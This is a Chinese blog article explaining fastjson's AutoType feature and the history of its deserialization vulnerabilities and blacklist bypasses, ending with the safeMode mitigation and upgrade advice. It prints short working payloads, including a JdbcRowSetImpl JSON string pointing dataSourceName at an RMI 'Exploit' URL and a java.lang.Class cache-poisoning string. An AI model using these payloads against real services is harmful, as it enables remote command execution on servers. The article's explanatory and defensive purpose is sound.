fastjson到底作錯了什麼?爲何會被頻繁爆出漏洞?

GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!java

GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!git

GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!github

fastjson你們必定都不陌生,這是阿里巴巴的開源一個JSON解析庫,一般被用於將Java Bean和JSON 字符串之間進行轉換。算法

前段時間,fastjson被爆出過屢次存在漏洞,不少文章報道了這件事兒,而且給出了升級建議。數據庫

可是做爲一個開發者,我更關注的是他爲何會頻繁被爆漏洞?因而我帶着疑惑,去看了下fastjson的releaseNote以及部分源代碼。json

最終發現,這其實和fastjson中的一個AutoType特性有關。緩存

從2019年7月份發佈的v1.2.59一直到2020年6月份發佈的 v1.2.71 ,每一個版本的升級中都有關於AutoType的升級。安全

下面是fastjson的官方releaseNotes 中,幾回關於AutoType的重要升級:服務器

1.2.59發佈,加強AutoType打開時的安全性 fastjsonmarkdown

1.2.60發佈,增長了AutoType黑名單,修復拒絕服務安全問題 fastjson

1.2.61發佈,增長AutoType安全黑名單 fastjson

1.2.62發佈,增長AutoType黑名單、加強日期反序列化和JSONPath fastjson

1.2.66發佈,Bug修復安全加固,而且作安全加固,補充了AutoType黑名單 fastjson

1.2.67發佈,Bug修復安全加固,補充了AutoType黑名單 fastjson

1.2.68發佈,支持GEOJSON,補充了AutoType黑名單。(引入一個safeMode的配置,配置safeMode後,不管白名單和黑名單,都不支持autoType。) fastjson

1.2.69發佈,修復新發現高危AutoType開關繞過安全漏洞,補充了AutoType黑名單 fastjson

1.2.70發佈,提高兼容性,補充了AutoType黑名單

甚至在fastjson的開源庫中,有一個Issue是建議做者提供不帶autoType的版本:

-w747

那麼,什麼是AutoType?爲何fastjson要引入AutoType?爲何AutoType會致使安全漏洞呢?本文就來深刻分析一下。

AutoType 何方神聖?

fastjson的主要功能就是將Java Bean序列化成JSON字符串,這樣獲得字符串以後就能夠經過數據庫等方式進行持久化了。

可是,fastjson在序列化以及反序列化的過程當中並無使用Java自帶的序列化機制,而是自定義了一套機制。

其實,對於JSON框架來講,想要把一個Java對象轉換成字符串,能夠有兩種選擇:

  • 一、基於屬性
  • 二、基於setter/getter

而咱們所經常使用的JSON序列化框架中,FastJson和jackson在把對象序列化成json字符串的時候,是經過遍歷出該類中的全部getter方法進行的。Gson並非這麼作的,他是經過反射遍歷該類中的全部屬性,並把其值序列化成json。

假設咱們有如下一個Java類:

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
複製代碼

當咱們要對他進行序列化的時候,fastjson會掃描其中的getter方法,即找到getName和getFruit,這時候就會將name和fruit兩個字段的值序列化到JSON字符串中。

那麼問題來了,咱們上面的定義的Fruit只是一個接口,序列化的時候fastjson可以把屬性值正確序列化出來嗎?若是能夠的話,那麼反序列化的時候,fastjson會把這個fruit反序列化成什麼類型呢?

咱們嘗試着驗證一下,基於(fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
複製代碼

以上代碼比較簡單,咱們建立了一個store,爲他指定了名稱,而且建立了一個Fruit的子類型Apple,而後將這個store使用JSON.toJSONString進行序列化,能夠獲得如下JSON內容:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
複製代碼

那麼,這個fruit的類型究竟是什麼呢,可否反序列化成Apple呢?咱們再來執行如下代碼:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
複製代碼

執行結果以下:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
複製代碼

能夠看到,在將store反序列化以後,咱們嘗試將Fruit轉換成Apple,可是拋出了異常,嘗試直接轉換成Fruit則不會報錯,如:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
複製代碼

以上現象,咱們知道,當一個類中包含了一個接口(或抽象類)的時候,在使用fastjson進行序列化的時候,會將子類型抹去,只保留接口(抽象類)的類型,使得反序列化時沒法拿到原始類型。

那麼有什麼辦法解決這個問題呢,fastjson引入了AutoType,即在序列化的時候,把原始類型記錄下來。

使用方法是經過SerializerFeature.WriteClassName進行標記,即將上述代碼中的

String jsonString = JSON.toJSONString(store);
複製代碼

修改爲:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
複製代碼

便可,以上代碼,輸出結果以下:

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
複製代碼

能夠看到,使用SerializerFeature.WriteClassName進行標記後,JSON字符串中多出了一個@type字段,標註了類對應的原始類型,方便在反序列化的時候定位到具體類型

如上,將序列化後的字符串在反序列化,既能夠順利的拿到一個Apple類型,總體輸出內容:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
複製代碼

這就是AutoType,以及fastjson中引入AutoType的緣由。

可是,也正是這個特性,由於在功能設計之初在安全方面考慮的不夠周全,也給後續fastjson使用者帶來了無盡的痛苦

AutoType 何錯之有?

由於有了autoType功能,那麼fastjson在對JSON字符串進行反序列化的時候,就會讀取@type到內容,試圖把JSON內容反序列化成這個對象,而且會調用這個類的setter方法。

那麼就能夠利用這個特性,本身構造一個JSON字符串,而且使用@type指定一個本身想要使用的攻擊類庫。

舉個例子,黑客比較經常使用的攻擊類庫是com.sun.rowset.JdbcRowSetImpl,這是sun官方提供的一個類庫,這個類的dataSourceName支持傳入一個rmi的源,當解析這個uri的時候,就會支持rmi遠程調用,去指定的rmi地址中去調用方法。

而fastjson在反序列化時會調用目標類的setter方法,那麼若是黑客在JdbcRowSetImpl的dataSourceName中設置了一個想要執行的命令,那麼就會致使很嚴重的後果。

如經過如下方式定一個JSON串,便可實現遠程命令執行(在早期版本中,新版本中JdbcRowSetImpl已經被加了黑名單)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
複製代碼

這就是所謂的遠程命令執行漏洞,即利用漏洞入侵到目標服務器,經過服務器執行命令。

在早期的fastjson版本中(v1.2.25 以前),由於AutoType是默認開啓的,而且也沒有什麼限制,能夠說是裸着的。

從v1.2.25開始,fastjson默認關閉了autotype支持,而且加入了checkAutotype,加入了黑名單+白名單來防護autotype開啓的狀況。

可是,也是從這個時候開始,黑客和fastjson做者之間的博弈就開始了。

由於fastjson默認關閉了autotype支持,而且作了黑白名單的校驗,因此攻擊方向就轉變成了"如何繞過checkAutotype"。

下面就來細數一下各個版本的fastjson中存在的漏洞以及攻擊原理,因爲篇幅限制,這裏並不會講解的特別細節,若是你們感興趣我後面能夠單獨寫一篇文章講講細節。下面的內容主要是提供一些思路,目的是說明寫代碼的時候注意安全性的重要性。

繞過checkAutotype,黑客與fastjson的博弈

在fastjson v1.2.41 以前,在checkAutotype的代碼中,會先進行黑白名單的過濾,若是要反序列化的類不在黑白名單中,那麼纔會對目標類進行反序列化。

可是在加載的過程當中,fastjson有一段特殊的處理,那就是在具體加載類的時候會去掉className先後的L;,形如Lcom.lang.Thread;

-w853

而黑白名單又是經過startWith檢測的,那麼黑客只要在本身想要使用的攻擊類庫先後加上L;就能夠繞過黑白名單的檢查了,也不耽誤被fastjson正常加載。

Lcom.sun.rowset.JdbcRowSetImpl;,會先經過白名單校驗,而後fastjson在加載類的時候會去掉先後的L,變成了com.sun.rowset.JdbcRowSetImpl`。

爲了不被攻擊,在以後的 v1.2.42版本中,在進行黑白名單檢測的時候,fastjson先判斷目標類的類名的先後是否是L;,若是是的話,就截取掉先後的L;再進行黑白名單的校驗。

看似解決了問題,可是黑客發現了這個規則以後,就在攻擊時在目標類先後雙寫LL;;,這樣再被截取以後仍是能夠繞過檢測。如LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43中,fastjson此次在黑白名單判斷以前,增長了一個是否以LL未開頭的判斷,若是目標類以LL開頭,那麼就直接拋異常,因而就又短暫的修復了這個漏洞。

黑客在L;這裏走不通了,因而想辦法從其餘地方下手,由於fastjson在加載類的時候,不僅對L;這樣的類進行特殊處理,還對[也被特殊處理了。

一樣的攻擊手段,在目標類前面添加[,v1.2.43之前的全部版本又淪陷了。

因而,在 v1.2.44版本中,fastjson的做者作了更加嚴格的要求,只要目標類以[開頭或者以;結尾,都直接拋異常。也就解決了 v1.2.43及歷史版本中發現的bug。

在以後的幾個版本中,黑客的主要的攻擊方式就是繞過黑名單了,而fastjson也在不斷的完善本身的黑名單。

autoType不開啓也能被攻擊?

可是好景不長,在升級到 v1.2.47 版本時,黑客再次找到了辦法來攻擊。並且這個攻擊只有在autoType關閉的時候才生效。

是否是很奇怪,autoType不開啓反而會被攻擊。

由於**在fastjson中有一個全局緩存,在類加載的時候,若是autotype沒開啓,會先嚐試從緩存中獲取類,若是緩存中有,則直接返回。**黑客正是利用這裏機制進行了攻擊。

黑客先想辦法把一個類加到緩存中,而後再次執行的時候就能夠繞過黑白名單檢測了,多麼聰明的手段。

首先想要把一個黑名單中的類加到緩存中,須要使用一個不在黑名單中的類,這個類就是java.lang.Class

java.lang.Class類對應的deserializer爲MiscCodec,反序列化時會取json串中的val值並加載這個val對應的類。

若是fastjson cache爲true,就會緩存這個val對應的class到全局緩存中

若是再次加載val名稱的類,而且autotype沒開啓,下一步就是會嘗試從全局緩存中獲取這個class,進而進行攻擊。

因此,黑客只須要把攻擊類假裝如下就好了,以下格式:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
複製代碼

因而在 v1.2.48中,fastjson修復了這個bug,在MiscCodec中,處理Class類的地方,設置了fastjson cache爲false,這樣攻擊類就不會被緩存了,也就不會被獲取到了。

在以後的多個版本中,黑客與fastjson又繼續一直都在繞過黑名單、添加黑名單中進行周旋。

直到後來,黑客在 v1.2.68以前的版本中又發現了一個新的漏洞利用方式。

利用異常進行攻擊

在fastjson中, 若是,@type 指定的類爲 Throwable 的子類,那對應的反序列化處理類就會使用到 ThrowableDeserializer

而在ThrowableDeserializer#deserialze的方法中,當有一個字段的key也是 @type時,就會把這個 value 當作類名,而後進行一次 checkAutoType 檢測。

而且指定了expectClass爲Throwable.class,可是在checkAutoType中,有這樣一約定,那就是若是指定了expectClass ,那麼也會經過校驗。

-w869

由於fastjson在反序列化的時候會嘗試執行裏面的getter方法,而Exception類中都有一個getMessage方法。

黑客只須要自定義一個異常,而且重寫其getMessage就達到了攻擊的目的。

這個漏洞就是6月份全網瘋傳的那個"嚴重漏洞",使得不少開發者不得不升級到新版本。

這個漏洞在 v1.2.69中被修復,主要修復方式是對於須要過濾掉的expectClass進行了修改,新增了4個新的類,而且將原來的Class類型的判斷修改成hash的判斷。

其實,根據fastjson的官方文檔介紹,即便不升級到新版,在v1.2.68中也能夠規避掉這個問題,那就是使用safeMode

AutoType 安全模式?

能夠看到,這些漏洞的利用幾乎都是圍繞AutoType來的,因而,在 v1.2.68版本中,引入了safeMode,配置safeMode後,不管白名單和黑名單,都不支持autoType,可必定程度上緩解反序列化Gadgets類變種攻擊。

設置了safeMode後,@type 字段再也不生效,即當解析形如{"@type": "com.java.class"}的JSON串時,將再也不反序列化出對應的類。

開啓safeMode方式以下:

ParserConfig.getGlobalInstance().setSafeMode(true);
複製代碼

如在本文的最開始的代碼示例中,使用以上代碼開啓safeMode模式,執行代碼,會獲得如下異常:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
複製代碼

可是值得注意的是,使用這個功能,fastjson會直接禁用autoType功能,即在checkAutoType方法中,直接拋出一個異常。

-w821

後話

目前fastjson已經發布到了 v1.2.72版本,歷史版本中存在的已知問題在新版本中均已修復。

開發者能夠將本身項目中使用的fastjson升級到最新版,而且若是代碼中不須要用到AutoType的話,能夠考慮使用safeMode,可是要評估下對歷史代碼的影響。

由於fastjson本身定義了序列化工具類,而且使用asm技術避免反射、使用緩存、而且作了不少算法優化等方式,大大提高了序列化及反序列化的效率。

以前有網友對比過:

-w808

固然,快的同時也帶來了一些安全性問題,這是不能否認的。

最後,其實我還想說幾句,雖然fastjson是阿里巴巴開源出來的,可是據我所知,這個項目大部分時間都是其做者溫少一我的在靠業餘時間維護的。

知乎上有網友說:"溫少幾乎憑一己之力撐起了一個被普遍使用JSON庫,而其餘庫幾乎都是靠一整個團隊,就憑這一點,溫少做爲「初心不改的阿里初代開源人」,當之無愧。"

其實,關於fastjson漏洞的問題,阿里內部也有不少人詬病過,可是詬病以後你們更多的是給予理解包容

fastjson目前是國產類庫中比較出名的一個,能夠說是倍受關注,因此漸漸成了安全研究的重點,因此會有一些深度的漏洞被發現。就像溫少本身說的那樣:

"和發現漏洞相比,更糟糕的是有漏洞不知道被人利用。及時發現漏洞並升級版本修復是安全能力的一個體現。"

就在我寫這篇文章的時候,在釘釘上問了溫少一個問題,他居然秒回,這令我很驚訝。由於那天是週末,週末釘釘能夠作到秒回,這說明了什麼?

他大機率是在利用本身的業餘維護fastjson吧...

最後,知道了fastjson歷史上不少漏洞產生的緣由以後,其實對我本身來講,我是"更加敢用"fastjson了...

致敬fastjson!致敬安全研究者!致敬溫少!

歡迎你們關注個人公衆號,會按期推送這種乾貨!幹到你到百度、谷歌都找不到的!!

參考資料:

github.com/alibaba/fas…

github.com/alibaba/fas…

paper.seebug.org/1192/

mp.weixin.qq.com/s/EXnXCy5No…

www.lmxspace.com/2019/06/29/…

相關文章
相關標籤/搜索